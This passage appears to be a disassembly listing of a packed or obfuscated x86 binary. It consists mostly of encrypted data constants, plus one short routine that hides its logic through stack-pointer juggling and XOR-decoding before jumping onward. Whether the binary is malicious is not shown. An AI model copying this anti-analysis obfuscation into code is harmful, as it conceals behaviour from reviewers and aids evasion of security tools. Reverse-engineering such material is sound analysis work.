		dd 0C99756Dh, 92CB2101h, 0E4856F73h, 2753BDA9h,	93A205DAh
		dd 217E3394h, 0F99CB031h, 655900D6h, 0F0EC9D89h, 5A08DA28h
		dd 37DA65B0h, 0DA9024E5h, 5D49AADFh, 8C5A45C0h,	5DB3B2DDh
		dd 2FC5E12Ch, 0FA2CD77Eh, 92E02243h, 0E25DF661h, 574335CCh
		dd 0BFD5DD7Bh, 0CA94426Dh, 7601FA3Ah, 0D19F6485h, 0CCC1CD66h
		dd 6DE7D335h, 0C07969D4h, 69100CE6h, 63B55807h,	0C100AE11h
		dd 0CCD635CCh, 23C945B6h, 0AEF2DB7h, 5B766FE5h,	1AF0FE53h
		dd 61h,	11FFED4Ah, 875B0F43h, 769D3C6Dh, 0A435CCE9h, 0E90084FEh
		dd 0A8F0FEA4h, 6, 0A67013B8h, 835B94ACh, 0C99D3069h, 0F39E4523h
		dd 0C89A0425h, 2A8D0B65h, 35CCE9B9h, 922133AFh,	930D3CD2h
		dd 8E7D97h, 0CCE93A57h,	0FAE52C35h, 95817D2Ch, 9C7670DFh
		dd 0CE240601h, 9D4EF573h, 96ECD677h, 6FB95BDAh,	658B5A01h
		dd 37DD89C4h, 9A7B6B5Bh, 0A899B2D1h, 2246BDAh, 9CD0B1E8h
		dd 0A2DB0D37h, 0BB974163h, 0D5E91ABDh, 3FF35CCh, 8153A171h
		dd 70FC499Fh, 68FA14CBh, 83ED07DBh, 0D5315205h,	0CB2735CCh
		dd 0E8F914B9h, 0A54D5B02h, 9640EB6Fh, 839FF0FEh, 3000000h
		dd 3E6FB95Bh, 3E38D297h, 2A38EE91h, 2DA854FBh, 45E4D03Eh
		dd 97B65C0Ah, 0C243B179h, 64B6CCD4h, 3413AE78h,	60AFDE08h
		dd 1BC0AE40h, 76D7AD47h, 0B8E10BDFh, 12A01E42h,	0A5E219EAh
		dd 15BE1981h, 1B35CCDDh, 7B8AB3AFh, 0E1DD8C66h,	6FEE24EEh
		dd 90639159h, 0DD00A10Ah, 0BC1635CCh, 9EE44FA6h, 4FE3F0FEh
		dd 0AF000000h, 3E6FB95Bh, 3C3AEC97h, 0E9EC05B6h, 18F235CCh
		dd 36FCDB4Ah, 0B4620EDCh, 835B2D79h, 75913069h,	7135CCE9h
		dd 0A2ED9C72h, 5E3F6E84h, 0D5BB3E54h, 5FFA9B07h, 83AF18F4h
		dd 82DEF571h, 0B9DF0FEh, 0D7000000h, 0DB45EE49h, 7F6B35CCh
		dd 865BADE5h, 0BAA5026Ch, 0B3C13D6Ch, 0E354D212h, 35CCE94Eh
		dd 5BE87A50h, 903C6D87h, 3B28FA08h, 3FBE44D1h, 0E9EE03B4h
		dd 1AF035CCh, 6B97402Eh, 423EB2D7h, 0A6481FC4h,	6AC77C95h
		dd 0FA886233h, 0C72D3E45h, 4F13B2EBh, 0A70C68A5h, 0AE156F81h
		dd 0CD6952BCh, 943CBAC7h, 5311BEB8h, 40128CBDh,	520583EDh
		dd 336A7831h, 6B9CB27h,	336A78EFh, 4597EDA5h, 0B328F65h
		dd 418CBD57h, 7DD28B61h, 0BB043B1h, 14C2EE57h, 0C79D8975h
		dd 35806A78h, 990AAD2Bh, 8F336A78h, 0DA44113h, 0B9F65835h
		dd 8CBD5312h, 70274012h, 0EB000001h, 7E508A7Ah,	0D3D4DD1Ch
		dd 9989078Fh, 92DC60D6h, 0CC988839h, 2E249E35h,	80EE27A6h
		dd 608E5DFAh, 8F95A112h, 49A13EB2h, 7377DC10h, 6F2340EBh
		dd 0DD35336Ah, 6B15B8E1h, 0CB3C1BDh, 0DAAB45Eh,	13FDE35Eh
		dd 0C69C0627h, 67DE8C8Bh, 4FEAF41h, 0CDE7128h, 0CCC647E6h
		dd 0CE9E45B6h, 0FDED5220h, 0B20AE613h, 6A2EE819h, 2C04FE33h
		dd 5CFF1AA7h, 336A1F37h, 0F9D5C139h, 521CB7ACh,	4F5BF658h
		dd 0C7000000h, 4422E71Ch, 0CCE91E93h, 27CA71B5h, 1C5648F1h
		dd 862D4BA7h, 0AD1148A6h, 0B6D0E0B5h, 92E0FC70h, 0F1739033h
		dd 975BB5CCh, 16F3E87Dh, 0F122EF48h, 5EB435CCh,	0B16DC3h
		dd 78E70000h, 20048755h, 0E2C12AFAh, 153857F6h,	4C389AC3h
		dd 0E11C7A36h, 0C26FC856h, 0D435CCE9h, 0E9345DFEh, 0C03A35CCh
		dd 3D2D8AD4h, 0A4179DD7h, 3EB2C322h, 328F5E05h,	97EDD90Fh
		dd 39EF9138h, 3CD01C4Dh, 1A321C3Eh, 53E07277h, 6D28658Fh
		dd 53F6977Dh, 336AB239h, 9547BD75h, 1CE23FD5h, 0BC3A24E1h
		dd 0B06C8536h, 9872336Ah, 5D2249CAh, 5AB0381Ch,	47FEEC23h
		dd 0E2DC8D67h, 5DBED384h, 4AA03898h, 88AB105Eh,	0A1B32F5Eh
		dd 0CA38C00Ch, 0F9679E5Fh, 0AD28D473h, 0EB795583h, 0EEB0C1A8h
		dd 2B39A633h, 0BA108FC5h, 8B9640BCh, 0C82FA0CAh, 1CABE7BAh
		dd 4CE556E1h, 5235CCE9h, 49E28C78h, 3EBA0422h, 0EC235AB0h
		dd 0CC4A14FEh, 27224930h, 7A11085Fh, 336227C9h,	58B2B0DFh
		dd 0B3C1BD21h, 7D9357FEh, 8C2F3197h, 3362F567h,	76A19109h
		dd 36302C99h, 95E20FA8h, 1EF43362h, 0ECA2E144h,	0CB58E7A7h
		dd 634795EFh, 51113C89h, 9274DCBFh, 0C8A4C3ACh,	0F2A75F91h
		dd 0F366A8C1h, 0B9AF146Eh, 509E3657h, 33C061CAh, 0FCD61BE5h
		dd 9A48BA66h, 0A89722C8h, 0CF2950BAh, 3, 5B821E93h, 9E316882h
		dd 0C80726CCh, 3B4AF325h, 7C93CA24h, 0A8E78650h, 0E42B5284h
		dd 0DC732AC4h, 944E50Fh, 0A496B75Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	6F0Eh
		mov	[esp], ebp
		push	2F28h
		mov	[esp], esi
		push	eax
		mov	eax, 6AE5B84h
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		xor	dword ptr [esp], 32045F83h
		pop	dword ptr [esi+8]
		push	ecx
		mov	ecx, 8
		add	ecx, esi
		xor	dword ptr [ecx], 32045F83h
		pop	ecx
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5527C7
; ---------------------------------------------------------------------------
		dd 2DE06BAFh, 0B75D83F3h, 0AE60ACB8h, 0FFC50306h, 5A2EA4E0h
		dd 0EE319463h, 0B074011Ch, 5B5AC62Fh, 209E552Eh, 9951493Eh
		dd 84DDA901h, 0A166F23Ch, 0F4BB743Ch, 7A061330h, 0BC53C16Fh
		dd 9F61BD4Fh, 9892C27Fh, 0C40D327Fh, 82860918h,	46C37736h
		dd 188D8D4Dh, 0BE06AE62h, 45D4D687h, 6AD8D89h, 6A06A6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 34A6B2C3h, 0F17A48Ch, 5DBD335Dh, 0C706A629h,	0A6040D85h
		dd 709806h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 795536C8h, 0BE985C7h, 6A6h, 0CA800000h
		dd 89858B4Ah, 0FF06A61Ch, 0A60F49B5h, 0C68B6606h, 1A7995FFh
		dd 0E95706A6h, 8, 9BFE55FDh, 93B41A74h,	0FF006A5Ah, 0A6295995h
		dd 0EBC08B06h, 6F809A2Ah, 3A48DCC9h, 18F4A034h,	0DF948A91h
		dd 5F0A5340h, 866D22E8h, 0A8587421h, 0C1B9D08Dh, 71F070EBh
		dd 3C9D7EDDh, 0E86C0B1Eh, 7, 0B8ED3DCCh, 89851EEEh, 0A610D19Dh
		dd 9D895906h, 6A615B9h,	6190C181h, 85890000h, 6A60679h
		dd 183EBFh, 7D858B00h, 0FF06A621h, 219D2B31h, 5A06A61Bh
		dd 48C0Fh, 0B8660000h, 0C28107FAh, 2BBD3CCCh, 0DBC6F281h
		dd 0E956647Ch, 9, 6320FBC7h, 0F5A719ACh, 0EA815EFDh, 2863814Ah
		dd 1891858Bh, 95206A6h,	0A60DA195h, 8B018F06h, 0A614D99Dh
		dd 0D7E98106h, 0F0AD493h, 682h,	81BD8900h, 8106A62Ch, 0D493D3C1h
		dd 87BE660Ah, 1EF83E8h,	0FF91850Fh, 0DC8AFFFFh,	63A48D8Dh
		dd 6A06AEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0B4C178C3h, 0CDDF3750h, 0E93029C6h, 5, 2DDC1C0Fh
		dd 0AD8D89B7h, 6A06A606h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0DAFFC357h,	9FBAAF13h
		dd 0C7DDBBB1h, 0A6040D85h, 6B4806h, 31950100h, 0C706A614h
		dd 0A60BE985h, 6, 9D895600h, 6A632C9h, 0CDB5FF5Bh, 6A06A62Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 7BD4C352h, 3A2B10C9h, 5ACECE81h, 95FF5668h
		dd 6A61A79h, 0FF006AF9h, 0A6295995h, 0EBC08B06h, 4E86B06Ah
		dd 0D3D7B2A2h, 7ADFAE80h, 0DB287848h, 0AF2E11D6h, 3AB6E6AFh
		dd 71EDCC92h, 830A3F30h, 66C00A6Ah, 5F5BFC3h, 0EAF651A7h
		dd 7DE742FEh, 0A050E7FFh, 0A2D97430h, 0D4532A43h, 7EB6C2D9h
		dd 6EFE5EA0h, 0B8A62ED6h, 0E852B41h, 87439508h,	921B2A3Bh
		dd 4608C923h, 0BCACD8CFh, 141E2FCEh, 5EE902B1h,	1555FA45h
		dd 0EBB167FDh, 474E900h, 64410000h, 5214338Eh, 1226DB8h
		dd 0F1F75EEBh, 99BB821Fh, 16B7F24Fh, 9421F799h,	0D954BAA9h
		dd 885537Eh, 7AB75D0Dh,	0A0C16AF4h, 0B633628Dh,	835B0F13h
		dd 0BC50DC69h, 6866292h, 51BFAD38h, 88DAB628h, 71CC263Bh
		dd 0B5AB16D6h, 6BD26F5Bh, 3B029F49h, 0CB72CF19h, 0E0AFFA14h
		dd 0B79E2BFDh, 737C5DB3h, 9A2C82F2h, 4D405FAAh,	4F3BB159h
		dd 0D56547F2h, 9B403EBBh, 9AD42FC5h, 0CA4D82DAh, 2133AFDEh
		dd 0BDAD19D5h, 0C99F3657h, 0EE923927h, 4CEF0138h, 33626827h
		dd 5AE5D1C9h, 0C63861B7h, 91BC198Ch, 84E03DD3h,	46E709DFh
		dd 68648D2Eh, 900A3362h, 0F011BAA4h, 0E6336268h, 4F8E760Ch
		dd 0A422A8B6h, 62689E33h, 612A8033h, 336268C0h,	0F866FCD6h
		dd 1C46375Fh, 0CE982738h, 0B775D920h, 0B4A0C6AEh, 0C562A1D8h
		dd 0C33898E2h, 1A4AF31Dh, 98E210B1h, 0E3AC0638h, 246811FBh
		dd 6127A6DCh, 52BCAC0Bh, 26A2D000h, 0FDAAAF8Bh,	0E6CAh
		dd 0B95B4800h, 2EB03E6Fh, 0CCE9708Dh, 0C2AC0635h, 0F2AB4165h
		dd 0BCD37200h, 0BD1A44AEh, 750C46ACh, 4BF218CAh, 0ED8B8243h
		dd 1EBF867h, 0C332C073h, 0EEC43EB2h, 0EA04DB80h, 90354FB3h
		dd 8C5EB47Ch, 19F934DEh, 944721DCh, 3814C706h, 18F47268h
		dd 0D520C5Eh, 7A9454A6h, 0DA77E08Eh, 0CC388021h, 0E6299CD6h
		dd 0B6912CFAh, 0B2640F8Ah, 0B42FA7C6h, 6EF9F855h, 3420DA30h
		dd 6B50812Ah, 0CC263880h, 0B9549171h, 50FE1CBFh, 1AC133FEh
		dd 1F87A64Ch, 0CA52E85Ch, 29564214h, 2C83D107h,	4F29C7E5h
		dd 3E1747ECh, 85716926h, 5187A9E4h, 56B8A817h, 0D6FA451Ch
		dd 7A715900h, 17D94AEDh, 8DF263Eh, 655149E6h, 170F50FBh
		dd 24D8263Eh, 980B690h,	3291E37Ah, 95669ED8h, 0E630DC37h
		dd 0FB3650Eh, 6F113C75h, 1CD26CB9h, 0BC3A24E1h,	65680B40h
		dd 86DCE926h, 0B2545935h, 0EF274D3Eh, 567C9296h, 0F41D3E55h
		dd 0FA336AE8h, 0DA751400h, 598FB108h, 15C3ED20h, 0A29E8A74h
		dd 0A14B1FC4h, 789655F8h, 93E1DDC1h, 0F8E956DEh, 0A22FAE16h
		dd 0A39F66E5h, 974A18FAh, 0D134AF63h, 86A1CE4Dh, 83A7336Ah
		dd 9AC3293Ah, 0EEE24838h, 736BA18Eh, 7172D987h,	2982E29Bh
		dd 336AADB8h, 0A5834AEh, 0F01AC877h, 0CE240649h, 9B6BE9Fh
		dd 2AC4E45Dh, 0F4938F73h, 70621BF5h, 16C43EE2h,	563BE54h
		dd 4A298409h, 0CDE8CC3h, 6F5B47E6h, 0EDC1F815h,	3B80F658h
		dd 0D0000000h, 6070303Ch, 0B9AAD203h, 55ED6753h, 0E70DDD7Ah
		dd 0FE065C46h, 0FF5806FFh, 3EB2C3C3h, 50BAACEBh, 2EC4E629h
		dd 0E8274632h, 0BE5610FAh, 7944B7D0h, 98D9AB16h, 2794h
		dd 0DD7ACC00h, 5B47E60Ch, 0E909BA1Dh, 0A31F35CCh, 0A84262D1h
		dd 4423992Dh, 1B423E47h, 811CF6F4h, 0C42E38A7h,	172B39A5h
		dd 0D6B855Bh, 0E9BFD487h, 49A135CCh, 76F8663Bh,	0CCE9A0C5h
		dd 125CB635h, 2B5CB6B5h, 0A70EED43h, 8D712804h,	2B3F56F7h
		dd 0AC7498C1h, 0E11DA356h, 0B4D95C27h, 3EA4BE1Ch, 0CC5C789Dh
		dd 0DA847E35h, 1AF0F75Ch, 4E8D749Fh, 712804A7h,	2F44F78Dh
		dd 35CC66h, 66B0D17Ah, 48A635CCh, 3F70FE20h, 0EB79554Ch
		dd 44C35EB4h, 75318C66h, 4A10EC1Fh, 862326B7h, 4091075Dh
		dd 1B000000h, 1A43ADBCh, 7BE5C8B8h, 2BC4216Bh, 875B1959h
		dd 52F3036Dh, 69720822h, 0C9D3C77Eh, 1FEF15D9h,	0BDADE045h
		dd 24830957h, 40B2EB05h, 0CC31E60Bh, 54128835h,	0CC314EE3h
		dd 0E87A5035h, 5B77ABA9h, 9E316882h, 0C80726CCh, 3B4AF325h
		dd 7C93CA24h, 0A8E78650h, 0E42B5284h, 0DC732AC4h, 944E50Fh
		dd 0A496B75Dh, 3B868h, 24148900h, 20EF68h, 24348900h, 81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0BA52243Ch, 760A7290h
		dd 0A3F18ABEh, 8BD60190h, 0C4812414h, 4, 3D768h, 24248900h
		dd 4240481h, 5F000000h,	8BA52h,	0FA010000h, 89F08950h
		dd 8B5A5802h, 8952243Ch, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 24348B5Ch, 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h
		dd 0FFF81523h, 8F7FECF0h, 0FCB84162h, 306AE67h,	0DE0FFC5h
		dd 0FD696EC6h, 0AF013CBDh, 0F2B0EBFh, 0B87h, 81666000h
		dd 668E35C9h, 618193BAh, 54B966F9h, 0C3BF0FCDh,	0C180DE8Bh
		dd 0B866F9DFh, 0D98BE65Dh, 0DE9h, 7C8DFC00h, 1FCF63F1h
		dd 4969592Fh, 0BF663535h, 0DAB8885Eh, 60622899h, 0E909D880h
		dd 8, 0BABF42E6h, 0BAED778Fh, 0FFB86661h, 0D781668Ah, 8C0F5AFAh
		dd 6, 880Fh, 0FFC0000h,	287h, 0E9FC8A00h, 0Eh, 0AB18C8Fh
		dd 0D9587B65h, 1D24734Eh, 9FB6B2C9h, 3820Fh
		dd 0F9560000h, 24F0BA5Ah, 9AB02C1Ah, 0BE9h, 0B23EE000h
		dd 4142C89Bh, 0C2D53E0Dh, 0EB816660h, 6661AC79h, 892CE281h
		dd 9E9h, 7E711300h, 0E306DDC9h,	8B6646E8h, 0D68B66C1h
		dd 80CBBF0Fh, 840FEFC7h, 4, 598CB653h, 5C3EBA66h, 6E9h
		dd 0D628CD00h, 8BE8B570h, 0C840FDAh, 0F000000h,	689h, 7EE88100h
		dd 814403DDh, 75F356F7h, 77BF663Ah, 0EE923h, 0F4800000h
		dd 6FBFDD38h, 0E4E801DEh, 0F850EF7Ah, 0B7F08B66h, 0DEBF0F1Fh
		dd 0AAD490BAh, 10E95127h, 34000000h, 0FF75E063h, 0D4DA76AFh
		dd 98AC3406h, 5B0B160Bh, 6FADBF66h, 0F18B6657h,	0FCE8B5Ah
		dd 1988h, 14E900h, 4AA30000h, 0CC9BF27h, 5584719h, 3E73082Ch
		dd 0CB56F263h, 0BE66DAD2h, 8166EDE6h, 0FA762CEh, 0B8Fh
		dd 6E900h, 0DCF0000h, 6B57B86Ch, 7E9h, 0DDE2EA00h, 0A380BED1h
		dd 0FE852F9h, 76000000h, 0B69C08CFh, 28D4D420h,	973F7317h
		dd 0BF0F8651h, 0E95F5BFBh, 0Bh,	0A5CF4993h, 0E5818377h
		dd 807AA451h, 11E903C2h, 66000000h, 0E409C1E7h,	37C44795h
		dd 17901C23h, 9EC6A86Bh, 8042D380h, 0B86652E3h,	7E8C6F5h
		dd 0A8000000h, 1894DDF7h, 5AF96D31h, 0EE8h, 90BE6100h
		dd 79425039h, 5CF1DFCBh, 561A5826h, 840Fh, 5A590000h, 0B8D8B70Fh
		dd 4F05BDEAh, 0C081DA8Ah, 1279AB80h, 0B70F5F51h, 0AE9CAh
		dd 0AE410000h, 5920918Eh, 990DAA14h, 5E52CE8Bh,	68A0Fh
		dd 0EB810000h, 6E19E93Ah, 0DF8B6660h, 0EE8h, 59FE2300h
		dd 0A6509D0Ah, 928DE23Ah, 0E9494035h, 14h, 0E305A9A2h
		dd 0BB85C631h, 66F9C441h, 79BA397Ah, 1AE8A93h, 0DA8B615Ah
		dd 14E9h, 0ADDD0600h, 1DD01140h, 1B5172DDh, 0AD07E373h
		dd 0D91CFA32h, 0EE9BAh,	2CB20000h, 8CA2180Fh, 0C0D1C77Ah
		dd 0D4F8E2A7h, 0DE9h, 76D58A00h, 0A70A2B80h, 0DF267DACh
		dd 0F6000E2h, 0F56DFB7h, 8Eh, 66615800h, 776C181h, 0FAB5F5FCh
		dd 840FCB8Bh, 19h, 14E9h, 57501400h, 0AB9B7353h, 0D7A5EF35h
		dd 7FB8441Ch, 727CB8FBh, 0DAC8809Ah, 28E0Fh, 22B20000h
		dd 0CE8h, 7D564C00h, 42653B58h,	2E42EFFCh, 0F880F5Ah, 0E9000000h
		dd 0Ah,	89699954h, 6F91572Eh, 0E85F4090h, 13h, 0EF4A5B7Bh
		dd 5CED99A0h, 84D35BC2h, 0B4D13398h, 0FC974A0h,	6658DAB7h
		dd 666622BAh, 6ACBEA81h, 8AF7BF0Fh, 14E9C1h, 0AE380000h
		dd 95337C87h, 63D5B97Ch, 76FF8613h, 768C7EEAh, 850F4029h
		dd 0
		dd 0F18BC88Bh, 11E960h,	32730000h, 11929170h, 0DD8EA212h
		dd 488ADDA5h, 61BCA268h, 0F3AB5F8h, 58Fh, 0E2816600h, 0BE9D783h
		dd 4D000000h, 0FED92876h, 0DB02D37h, 860F7237h,	6, 870Fh
		dd 93B00000h, 0F74E180h, 108Ch,	8E800h,	0A4170000h, 0B5A585F0h
		dd 0CF8B028Bh, 820FF85Ah, 20h, 0BE8h, 154C0C00h, 9139036Eh
		dd 47C250B9h, 9E8h, 0AE17BD00h,	0D94D5B04h, 5A5AE2A9h
		dd 8B667DB4h, 860F51FEh, 0Eh, 8E8h, 3567B100h, 9AADFF83h
		dd 805E5F82h, 0C9BB40E2h, 6612D8D1h, 0BB46F381h, 18A0Fh
		dd 0F9FC0000h, 968B966h, 58D0Fh, 96BF0000h, 665F12BAh
		dd 0BA66D68Bh, 66601F29h, 8088FFBEh, 666100F6h,	0A9F2E781h
		dd 14E9h, 73BE4200h, 0E48D7414h, 1A3D5389h, 35A50503h
		dd 80ACFCB9h, 0FE841h, 0FFA80000h, 69A9BE38h, 0DDD051F9h
		dd 0B4C2F707h, 585953DBh, 8F0FD88Bh, 6,	0AD5AF281h, 8B53061Eh
		dd 60605AC8h, 840Fh, 0E8610000h, 14h, 0AC01BA31h, 49E35DD7h
		dd 8768D3FFh, 111103C6h, 5342F217h, 5927CB80h, 10E961h
		dd 0AB2A0000h, 0DCE77BFAh, 0DCF2C10Eh, 0A0D524ABh, 5F5312CFh
		dd 5E9h, 2F85F200h, 0FF866AFh, 48Bh, 9ABA6600h,	553CB8A8h
		dd 6E90A38h, 7F000000h,	0F9B8EE6Ah, 0DD2DBFB2h,	0DCB9774Ch
		dd 662ECF75h, 5BBEE881h, 86E28166h, 890FFC4Ah, 0
		dd 0F95EBE66h, 0AEB3D98Bh, 0BF0F5F52h, 816656D9h, 581C99C3h
		dd 664BCE80h, 415EB81h,	5E9h, 0CFFDED00h, 830F0489h, 3
		dd 66FEB70Fh, 882ED181h, 8E0FD78Bh, 4, 2E12BF66h, 0EB15BB66h
		dd 0D86ABB66h, 0F6027B6h, 680h,	8F0F00h, 0F000000h, 18Bh
		dd 0F61F500h, 58Bh, 0C7816600h,	0F08B8CFEh, 6FBBF28Bh
		dd 80472995h, 0B70FBCF5h, 0ECA3B8C1h, 0BE901D7h, 3D000000h
		dd 69A28FBFh, 0FE69946Ch, 0AFBBA747h, 0F1842CDh, 0E9F8C6BFh
		dd 0Bh,	4F7EFFBEh, 0CFEB56D2h, 0FE895B7h, 0A8Fh, 8E0F6000h
		dd 0
		dd 0E8615951h, 0Fh, 32A5360h, 3DD78C95h, 0DB9E6EF6h, 0F88F3C3Ch
		dd 0FF08B58h, 48Bh, 79B96600h, 1CD4808Eh, 0FD0975BBh, 38A0F31h
		dd 0F000000h, 0D181D7B7h, 5688C086h, 84E98166h,	0F28166EBh
		dd 0F605375h, 0F61CBBFh, 118Bh,	0CE900h, 949F0000h, 0B0FC7DD2h
		dd 68493202h, 880F1DADh, 2, 8C0FF18Bh, 0Ch, 7E9h, 0CCFA8200h
		dd 0BF161755h, 68A0FF9h, 81000000h, 69793AD6h, 18C0F0Fh
		dd 0F8000000h, 60EDD181h, 0FA8B746Bh, 0C7BF6660h, 68B0F0Bh
		dd 0F000000h, 8Ch, 66F96100h, 5396E981h, 0B4F98B66h, 0E781665Ah
		dd 870F86FEh, 4, 24C7BE66h, 50D8B70Fh, 12E8h, 8F172400h
		dd 7662828Ah, 0FED33537h, 1FE9E589h, 0E8B0D299h, 0Eh, 74315BBh
		dd 19BCCD4Dh, 0AD99E0D7h, 5A5965C4h, 0D5E4B859h, 0F78B4ABDh
		dd 8B66D78Bh, 66FFB4F9h, 0CF8BDE8Bh, 0F0BF0FF8h, 0D6CA8166h
		dd 5810FD8h, 0BB000000h, 4D310F4h, 60F2BF0Fh, 0EEF8166h
		dd 0D5EF80A2h, 55C88061h, 3BB16BBAh, 0CE81Ah, 29970000h
		dd 35248B97h, 2CA27822h, 0BE66339Fh, 665F8F06h,	6ED0D681h
		dd 66CBB70Fh, 0CE9FB8Bh, 0CF000000h, 0AB8EA803h, 42E6437Eh
		dd 668FBABFh, 0F839E9BBh, 61EE8151h, 5E6023F3h,	0DE960h
		dd 58A00000h, 0AE93DD04h, 0AF5E73A8h, 669BCF1Fh, 0BA61F08Bh
		dd 42731F53h, 880F83B6h, 0Ah, 820F60h, 8B000000h, 665261D6h
		dd 5BFDD9BFh, 36B0CA81h, 800F62AAh, 1Ah, 12E8h,	0D97B4400h
		dd 0B1E9FFDFh, 3AD8ED5Dh, 7A235A4h, 8B911C32h, 12E85BF0h
		dd 9C000000h, 0BB7F7805h, 5A9CCC93h, 962ADCE3h,	1611AE1Ah
		dd 0AE981h, 95020000h, 0BECEBD15h, 5C09E9E7h, 6656F858h
		dd 6EE2D681h, 8E0FFC5Eh, 7, 1860Fh, 66F50000h, 664D78BEh
		dd 5D16F781h, 5BF557F5h, 8E0Fh,	5E90000h, 0CD000000h, 0BDFDBB11h
		dd 9D822FBEh, 9E916h, 9F900000h, 998A9437h, 512EAA17h
		dd 0DF81665Bh, 2CBAC975h, 0F0A9E88h, 0A85h, 61606000h
		dd 870Fh, 0F610000h, 0C181D2B7h, 6B0F7379h, 148CBF66h
		dd 8ECE8166h, 0DADCBA9Ah, 0BF0F232Fh, 1F0FBBF2h, 0E8567477h
		dd 0Eh,	1B1DEE89h, 6E69247Fh, 4736AA0Fh, 0D68B112Fh, 5E8585Eh
		dd 22000000h, 5E04C365h, 0E959B9B6h, 0Ah, 9CC0A080h, 9BCA810Eh
		dd 0E96095A0h, 14h, 0CCB965C0h,	1D2278A2h, 4B09DEE7h, 69C4B1FEh
		dd 600BB2CEh, 5F5A5657h, 4880F61h, 66000000h, 0E92711BBh
		dd 0Ch,	57B9DED7h, 72CDD372h, 55BF63E1h, 0D04C86BAh, 81E28112h
		dd 0E8016EF2h, 0Ch, 0F253C812h,	5C5053E6h, 9539BF57h, 8E9h
		dd 0F53AEB00h, 7A811E12h, 0BBB9589Ah, 8115A4B8h, 0F60660F1h
		dd 11E93Fh, 0F3230000h,	4EA252B9h, 3CC8A546h, 0ADAFBC1Bh
		dd 0E9C4690Ah, 8, 50FCF53h, 37854AC9h, 1BBF6660h, 61DE8AE1h
		dd 11E8h, 0F5335C00h, 716EB311h, 0BD4A5173h, 953F815Dh
		dd 0B8667D20h, 0E95838E5h, 7, 5054464Fh, 0B8032B17h, 368CEE0Dh
		dd 7E8FCh, 6FA30000h, 7595E2B2h, 4B45892h, 14E9h, 6A9A8500h
		dd 0DC81CBBh, 8A7F013Fh, 7B110D12h, 5300B754h, 0D5BB66CAh
		dd 0CACA80A5h, 85C8C881h, 0EE93A6Eh, 90000000h,	665E581Ah
		dd 809CF281h, 4C526BD1h, 0AE8E3h, 0F1EE0000h, 0EF18B2BDh
		dd 7499A94Eh, 2890Fh, 0DA8A0000h, 0DE958h, 2E880000h, 0B1A956E0h
		dd 5E67F41Dh, 804A5B7Bh, 5E91AC8h, 92000000h, 72B00C2Ah
		dd 8166D58Ah, 666D17D6h, 73E6CA81h, 67F0D981h, 0D88B77CBh
		dd 0DE9h, 0C7502400h, 0BAA9C107h, 84C31C9h, 14E81513h
		dd 0A2000000h, 0F2378D19h, 317A2EA2h, 4413495Fh, 3D63BF41h
		dd 0BFE5A46Ah, 516B1593h, 0DE95Bh, 79AA0000h, 1933E23h
		dd 1E6E764Bh, 8B965205h, 890F60CFh, 4, 382EBA66h, 28DBC981h
		dd 8B6109DAh, 0CF8166CFh, 0EE811466h, 40E9481Ch, 1860Fh
		dd 66F90000h, 9E9F38Bh,	69000000h, 36AA0F6Eh, 0A5112F47h
		dd 9E9h, 78975000h, 22F0EB41h, 11E9C365h, 9E000000h, 0FAEB4399h
		dd 2D3D8CBBh, 6E854B6Eh, 5BA3DB3h, 12E8h, 331B1100h, 81643F0Ah
		dd 0BC42A540h, 0CA7F4104h, 0F93FF09h, 0B159D6BFh, 6E867h
		dd 774D0000h, 67735F9Bh, 582ECE80h, 0E9D3BF0Fh,	0Bh, 0F065D112h
		dd 0EDBCA1DCh, 66C71121h, 0E951F08Bh, 12h, 0AA13672Fh
		dd 8766D12h, 0EC96A46Dh, 26BFDEE5h, 0E85F3D89h,	0Bh, 0BE276309h
		dd 212EAB9Eh, 5117038Ch, 8B595FFCh, 0CE960F8h, 33000000h
		dd 30AC0C66h, 0FF32D0A0h, 0F711E42h, 6061C2BFh,	68F0Fh
		dd 890F0000h, 0
		dd 5890Fh, 81660000h, 614114F2h, 0E9F3BF0Fh, 9,	0FF6158F3h
		dd 458A38FBh, 9E96Eh, 0A340000h, 84A1AEAh, 81BEAEB1h, 6567FBF6h
		dd 8B665630h, 8B0F5EF1h, 11h, 8E8h, 84607500h, 0AAE81757h
		dd 0C68B6699h, 0E9DA8B5Bh, 10h,	0C9613A6Fh, 0BCF5840Eh
		dd 24DC85E1h, 0B9092CF4h, 58A0Fh, 81660000h, 0FF19CEAh
		dd 0C82h, 7E900h, 7ABF0000h, 1C384D28h,	0F8F28B97h, 17850Fh
		dd 8A0F0000h, 11h, 0CE9h, 1043D000h, 0BE695405h, 348E9BE8h
		dd 8B665154h, 8B6659C3h, 0D68166F2h, 9E85D40h, 93000000h
		dd 424B9D07h, 9ABA1072h, 8166605Fh, 0E9BEF5D6h,	0Bh, 766BD5F1h
		dd 199FD24Eh, 6142F860h, 12E8h,	0C225BA00h, 0DC4FA80Ah
		dd 7D3D5CD6h, 0FC786CCDh, 0F4D88FDh, 286h, 5A5F5000h, 13E9h
		dd 0F4EE2E00h, 0E787E3Eh, 724C3385h, 69122ECAh,	0EFDE15BCh
		dd 0B84ACA81h, 0B7BB036Ch, 0F33823Fh, 587h, 0EE7BB800h
		dd 8C0F0E0Ah, 2, 11E8ADB2h, 34000000h, 0F0BEC122h, 3408579Fh
		dd 0E816967Eh, 1EA98DA3h, 8A58CB8Bh, 0F5350D4h,	81h, 8A5A5F00h
		dd 0E78166D3h, 0D3801F9Fh, 0F0CA819Bh, 0F42B8EAh, 6E8F7BFh
